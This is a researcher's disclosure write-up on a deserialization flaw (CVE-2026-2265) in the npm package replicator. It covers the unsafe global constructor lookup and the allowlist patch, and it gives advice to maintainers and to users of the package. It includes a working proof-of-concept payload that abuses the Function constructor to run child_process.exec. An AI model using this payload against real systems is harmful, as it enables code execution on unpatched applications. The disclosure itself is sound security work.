Replican't: When Deserialization Starts Writing Your Script

replicator is an npm package for advanced JavaScript serialization and deserialization. It extends regular JSON behavior and lets applications encode and restore values that plain JSON does not preserve cleanly, such as richer object types.

Vulnerability Details

When I started digging into Replicator again, I was not looking for a “new trick.” I was looking for old trust assumptions that survived previous patches.

That decision paid off.

I found that Replicator still trusted attacker-controlled data in the decode flow while reconstructing error objects. The name field from serialized input was used to select a constructor from global scope. Once that happens, deserialization stops being data handling and becomes behavior shaping.

Vulnerability Class

  • CVE: CVE-2026-2265
  • CWE-502: Deserialization of Untrusted Data
  • Impact: Code execution primitive through unsafe constructor selection
  • Component: Error transform logic in replicator decode pipeline

Replicator is also widely used, with roughly 1M monthly downloads. That makes this class of bug much more than a local code smell.

The Trust Boundary That Broke

The issue is simple to describe:

  • User-controlled serialized data reaches decode
  • Replicator rebuilds special object types
  • For [[Error]], it picks a constructor by string name
  • The constructor lookup was done from global scope

Before the patch, the vulnerable path was effectively:

var Ctor = GLOBAL[val.name] || Error;
var err = new Ctor(val.message);

val.name came from untrusted input. That means an attacker could influence which constructor gets instantiated.

In secure deserialization design, constructor or type resolution must never be open-ended against global objects.

Proof of Concept

The following PoC shows the behavior directly:

const Replicator = require('replicator');
const replicator = new Replicator();
replicator.decode(
  '[{"@t":"[[Error]]","data":{"name":"Function","message":"require(\\'child_process\\').exec(\\'open -a Calculator\\')"}}]'
)();

Replicator CWE-502 PoC execution

In this payload:

  • name is attacker-controlled and set to "Function"
  • message becomes function body input
  • The decoded return value is then invoked

This is exactly why deserialization bugs are dangerous. They often start as “type confusion” and end as execution primitives once application code continues normal object handling.

Why This Was Missed Before

Replicator already had a major deserialization issue disclosed in 2021 (CVE-2021-33420), published by Checkmarx. Their research focused on another path, including a TypedArray-based chain to RCE and remediation that landed in 1.0.4+.

That prior work was important, but this case shows a reality every security researcher knows:

  • Fixing one exploit chain does not guarantee all risky flows are covered
  • Different researchers model trust boundaries differently
  • Same codebase, different lens, different findings

This is not a contradiction. It is how defensive depth evolves in real projects.

Patch Analysis (PR #19)

The PR #19 fix addressed the root problem the right way: constructor allowlisting instead of open global lookup.

var SAFE_ERROR_CTORS = {
  'Error': Error,
  'EvalError': EvalError,
  'RangeError': RangeError,
  'ReferenceError': ReferenceError,
  'SyntaxError': SyntaxError,
  'TypeError': TypeError,
  'URIError': URIError
};

var Ctor = SAFE_ERROR_CTORS[val.name] || Error;
var err = new Ctor(val.message);

This closes the core gap by enforcing two properties:

  1. Explicit type allowlist
    Only known safe error constructors can be selected.

  2. Safe default
    Unknown values fall back to Error instead of resolving arbitrary globals.

From an AppSec perspective, this is the correct design pattern for polymorphic decode flows.

Why This Matters

Replicator is not usually treated as a “high-risk runtime component.” It is often viewed as plumbing code around data serialization.

That is exactly what makes bugs like this valuable to attackers.

  • Serialization libraries sit deep in trust paths
  • They process external or semi-trusted payloads
  • They are reused by internal tools, test frameworks, and backend services
  • They are frequently overlooked in threat modeling

With ~1M monthly downloads, a deserialization trust break in Replicator is not an edge case. It is a supply-chain exposure point.

Practical Guidance

If you maintain serialization/deserialization logic:

  • Never resolve constructors from untrusted strings via global scope
  • Keep strict allowlists for every polymorphic type path
  • Validate both type and structure before reconstruction
  • Include negative security tests for unexpected constructor names

If you consume Replicator in your project:

  • Upgrade to a version that includes PR #19
  • Treat decoded objects as untrusted input until validated by your own logic
  • Search for unsafe downstream usage patterns where decoded values are invoked or dynamically executed

Disclosure Timeline

Date Event
2021 Checkmarx discloses CVE-2021-33420 in Replicator
2026-01-29 I identify and report (“Replican’t”)
2026-02-05 PR #19 introduces constructor allowlisting fix
2026-02-10 CVE-2026-2265 assigned

Closing Note

This issue is a good example of why independent research matters. Two people can audit the same package and uncover different risk surfaces. That is not redundancy. That is resilience.

References